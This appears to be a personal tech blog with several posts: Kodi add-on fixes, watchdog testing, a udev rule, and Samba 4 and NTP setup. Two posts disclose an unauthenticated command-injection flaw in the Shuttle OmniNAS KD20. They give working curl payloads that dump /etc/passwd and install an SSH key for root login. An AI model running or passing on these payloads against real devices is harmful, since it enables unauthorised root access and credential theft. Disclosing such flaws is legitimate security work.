Fixing the Kodi RTLxl add-on

Today (or yesterday) RTL decided that you should no longer use the RTLxl addon for Kodi and at the root level displays that you should use the RTLxl website instead. Thank you RTL, but I want to watch on my television without buying something new. (And I wouldn't mind if you put the commercials in, because I guess that's the only reason why you want people to use the website or app.)

Now what could RTL have done to block the Kodi addon? Actually, not much, since Retrospect (which unfortunately mentions on its website that it's no longer available for legal reasons) was still working. So my best guess was that they were applying a user agent check and since the RTLxl addon is kinda old that would certainly be easy to do.

So I went into the RTLxl addon folder in Kodi (~/.kodi/addons/plugin/video.rtlxl/) and started editing addon.py. There was one outdated User-Agent there, so I changed that to something more modern (thank you Google). Restarted Kodi, no luck. But addon.py is relatively small, so I went into resources/lib and opened rtlxl.py, which contained another few User-Agent strings. Replaced them all, restarted Kodi and my wife's happy again!

Getting root SSH access on Shuttle OmniNAS KD20

In the previous post I detailed a security vulnerability in the firmware for the Shutte OmniNAS KD20. In an attempt to remedy Samba bug #10584 I was trying to get more direct access to my OmniNAS. I already tried to start sshd and telnetd, but with no real success (they were running, logging in was a problem though).

I wanted to get in without making too much changes, by putting a SSH public key on the share and pointing SSHD to it. But since that didn't work out I copied /etc/passwd to the disk share and cat-ed it back (using tee as well) with my user's shell set to /bin/ash. That allowed me to log in after starting sshd, but adding my account to /etc/sudoers was required to get to the next level of control.

Once I was in and with root permissions I was able to diagnose why my initial attempt didn't work. A simple sshd -p 8022 -d showed me that there was a permissions 'problem', because SSHD is secure by default and ignores authorized keys with write permissions for other users. An additional chmod fixed that as well, which brings me to the following two lines to accomplish root SSH access to the Shuttle OmniNAS KD20:

curl -F 'userfile=@.ssh/id_rsa.pub;filename=id_rsa.pub' 'http://192.168.x.x/filesystem/api-1.0/dir_action.php?type=upload'

curl -F 'userfile=@/dev/null;filename=test.txt' 'http://192.168.x.x/filesystem/api-1.0/dir_action.php?type=upload&p=%24(sudo%20mkdir%20%2Froot%2F.ssh%3B%20sudo%20chmod%20700%20%2Froot%2F.ssh%3B%20sudo%20cp%20%2Fshare%2Fatonnas%2Fdisk%2Fid_rsa.pub%20%2Froot%2F.ssh%2Fauthorized_keys%3B%20sudo%20chown%20-R%20root%3Aroot%20%2Froot%2F.ssh%3B%20sudo%20chmod%20644%20%2Froot%2F.ssh%2Fauthorized_keys%3B%20sudo%20chmod%20755%20%2Froot%3B%20sudo%20%2Fbin%2Fsshd)'

In the above two lines the first line copies id_rsa.pub to the disk share, the second line copies it to /root/.ssh/authorized_keys, sets permissions that are acceptable for SSHD and starts sshd.

Now all you need to do is ssh root@192.168.x.x and you're in!

Happy hacking!

Executing commands on Shuttle's Omninas KD20

Because the firmware on the Omninas KD20 is somewhat broken (see Samba bug #10584) I was trying to get access in an attempt to fix it. Fortunately some people figured there was easy access with old firmware and documented at nas-central how to decrypt the firmware, which applies to current firmware as well. Once I had rootfs.ubi mounted using nandsim I went looking for possible remote exploits and I found one in an external accessible page without password protection.

To make a long story short, this page will pass a GET variable right into an exec call without any verification. As a result, all you need to do is call curl with an url-encoded command as in the following example:

curl -F 'userfile=@/dev/null;filename="test.txt"' 'http://192.168.x.x/filesystem/api-1.0/dir_action.php?type=upload&p=%24(sudo%20cat%20%2Fetc%2Fpasswd%20%3E%20%2Fshare%2Fatonnas%2Fdisk%2Ftest.passwd)'

The above command will put the contents of /etc/passwd in test.passwd in the default 'disk' share. And yes, as a bonus you also get an empty file called test.txt in the same folder!

Happy hacking!

Testing Watchdog related code without reboots

While writing some code for handling the Watchdog on the Raspberry Pi I wanted to verify what I had written so far. If using the character-based approach it's easy to simulate with any file and watch the contents, but when using IOCTL's or for a more realistic test it's better to just use a real Watchdog driver. Fortunately it's easy to do on Linux without causing any sudden reboots when the Watchdog isn't stopped when exiting your program. There's a softdog module that is providing a software-level watchdog driver, which can also be set up not to reboot at all, which makes testing really easy. Let's start by loading the module:

$ sudo modprobe softdog soft_noboot=1 soft_margin=15

dmesg | grep softdog should include a line similar to this:

softdog: Software Watchdog Timer: 0.08 initialized. soft_noboot=1 soft_margin=15 sec soft_panic=0 (nowayout=0)

Now you can run your watchdog code, for example echo a | sudo tee /dev/watchdog (just don't use V, because it stops the watchdog) and a line similar to this will show:

watchdog watchdog0: watchdog did not stop!

Now if you wait another 15 seconds (as set by the soft_margin argument to modprobe) you will see the following message:

softdog: Triggered - Reboot ignored

That's it. The watchdog was triggered, left running, and it triggered. You can run it again and again, and your system won't suddenly reboot (as it would when testing with the actual hardware watchdog).

Prevent Ubuntu (12.10+) modem-manager from keeping your Sheevaplug busy

As of Ubuntu 12.10 the very helpful modem-manager will try to connect to about any serial device. Unfortunately that means that when you connect a Marvell Sheevaplug it will connect to that as well, resulting in device or resource busy error when trying to open a screen session to your Sheevaplug. However, the solution is fairly easy, just add the following to /etc/udev/rules.d/70-mm-no-sheevaplug.rules:

ACTION!="add|change", GOTO="mm_usb_device_blacklist_end"
SUBSYSTEM!="usb", GOTO="mm_usb_device_blacklist_end"
ENV{DEVTYPE}!="usb_device",  GOTO="mm_usb_device_blacklist_end"

# Marvell Sheevaplug
ATTRS{idVendor}=="9e88", ATTRS{idProduct}=="9e8f", ENV{ID_MM_DEVICE_IGNORE}="1"

LABEL="mm_usb_device_blacklist_end"

Now do a simple sudo service udev reload, and enjoy your screen sessions with the Sheevaplug again!

Setting up NTP signing (ntp_signd) with Samba 4 (in other words: providing time to Windows clients)

In an Active Directory domain, the focus usually is on Windows clients. One key aspect in an Active Directory domain is time synchronization. If you're here you probably know something about NTP, and maybe even that Windows won't just use the NTP server you specify using DHCP. The reason is that Windows wants a NTP server that provides signed NTP responses. ntpd actually supports providing these signed responses, but in order to do so it requires a signing provider. Samba 4 can provide this, by way of a socket specifically made for this purpose.

This post continues where I left off with Install Samba 4(.0.4) on Ubuntu 12.04 LTS, from source. It assumes Samba is already working properly, and that the ntp_signd task/service is enabled (which is by default). If you didn't install ntpd yet, do it with the following command:

$ sudo apt-get install ntp

The socket that is used for signing responses resides at /usr/local/samba/var/lib/ntp_signd/socket. The permissions on the socket should indicate that it's world writable, the permissions on the ntp_signd directory however only allow root (as user) full read/write and root (as group) read access. In order to allow ntpd to write to the socket it's necessary to grant it permissions on the ntp_signd directory, which we can do as follows:

$ sudo chgrp ntp /usr/local/samba/var/lib/ntp_signd

There's no need to change permissions of the socket file, if ntp can access it, it can write to it as well (remember, it's world writable).

There is an issue one might easily overlook. By default Ubuntu comes with apparmor enabled, which will prevent some programs from accessing files they normally shouldn't access. One of the programs that is actually configured to be restricted by apparmor, is ntp. Because Ubuntu by default doesn't know about our source-compiled Samba 4 installation, it also doesn't know about the ntp_signd socket. The fix for this is to edit /etc/apparmor.d/local/usr.sbin.ntpd:

# Site-specific additions and overrides for usr.sbin.ntpd.
# For more details, please see /etc/apparmor.d/local/README.
/usr/local/samba/var/lib/ntp_signd/socket rw,

Last but not least we need to configure ntpd so it knows that it is allowed to do signed responses and how it should sign them. This requires the addition of the following lines to /etc/ntp.conf (rest of file omitted for brevity):

ntpsigndsocket /usr/local/samba/var/lib/ntp_signd
restrict default mssntp

Now restart ntpd:

$ sudo service ntp restart

That should be it, but beware! ntpd needs some time to establish a reliable time for itself. Before it has established a reliable time it's useless. You can check if it has established time by running the following command:

$ ntpdate -q localhost
server 127.0.0.1, stratum 3, offset -0.000004, delay 0.02563
28 Mar 22:03:29 ntpdate[15015]: adjust time server 127.0.0.1 offset -0.000004 sec

In the output above it shows stratum 3, if it shows a higher number I guess you can forget requesting time from the server. In my case it will start at 16 and jump back to 3, at which point it has established a reliable time for itself.

At this point you can test with a Windows client. Just open a command prompt and type the following:

C:\>w32tm /resync
Sending resync command to local computer...
The command completed successfully.

C:\>

And that's it! If it doesn't work out this well for you, then I'd suggest you start by running ntpd in debug mode, which will at least show when it's receiving requests from clients:

$ sudo service ntp stop
$ sudo ntpd -d

If it doesn't work, or you want to thank me for the instructions, use the comments!

Install Samba 4(.0.4) on Ubuntu 12.04 LTS, from source

At the office we've been running Samba 4 for quite a while already. However, the version(s) in use date back to what was found in Ubuntu releases available at install time. The Samba team has actually done a great job at releasing a stable version for Samba 4, but I haven't seen anyone offering prebuilt packages for Ubuntu.

Recently I have been wondering if it would be a good idea to build Samba 4 from source instead. I don't like this approach much, because I prefer having all packages handled by the package manager. Then again, /usr/local/ doesn't need to stay empty, and my domain controllers are just that; domain controllers.

So yesterday I did my first attempt at building Samba from source, which went so well that I did it again today, on a fresh new Ubuntu 12.04 LTS install. I actually switched it to the IP of the primary DC as well, and stopped the old primary DC because the new one was working without any issues at all.

Now onto the actual instructions (assumes a clean 12.04 LTS basic Ubuntu server install):

$ mkdir src
$ cd src

$ wget http://ftp.samba.org/pub/samba/samba-4.0.4.tar.gz
$ tar xf samba-4.0.4.tar.gz
$ cd samba-4.0.4

$ sudo apt-get install build-essential pkg-config libkrb5-dev libacl1-dev \
libattr1-dev python2.7-dev libpam0g-dev libldap2-dev

$ ./configure && make

$ sudo make install

I've omitted all of the output, since the process was so easy. The description is easy as well:

1. Make a directory to store the samba source in
2. Download the Samba 4.0.4 source file
3. Extract it
4. Install build utilities, Samba dependencies
5. Configure and build Samba
6. Install Samba into /usr/local/samba

After these steps you can either follow the Samba 4 documentation to provision a new domain or join a domain, or copy the necessary files from your old domain controller onto this one if you're replacing your domain controller.

There is one important final step, and that's to create an init file. On the Samba 4 InitScript page there's a script listed that will work just fine, I copied it here for reference:

description "SMB/CIFS File and Active Directory Server"
author      "Jelmer Vernooij "
start on (local-filesystems and net-device-up)
stop on runlevel [!2345]
expect fork
normal exit 0
pre-start script
 [ -r /etc/default/samba4 ] && . /etc/default/samba4
 install -o root -g root -m 755 -d /var/run/samba
 install -o root -g root -m 755 -d /var/log/samba
end script
exec /usr/local/samba/sbin/samba -D

Copy this file to /etc/init/samba4.conf and you can use service samba4 start to start Samba 4.

All of these steps will probably apply to Ubuntu 12.10 as well, but I haven't verified yet. Also, since Samba 4 doesn't require anything that's not in Ubuntu 12.04 LTS, it might be wise to stick to this release until another LTS is released.

Please share any thoughts using the comments!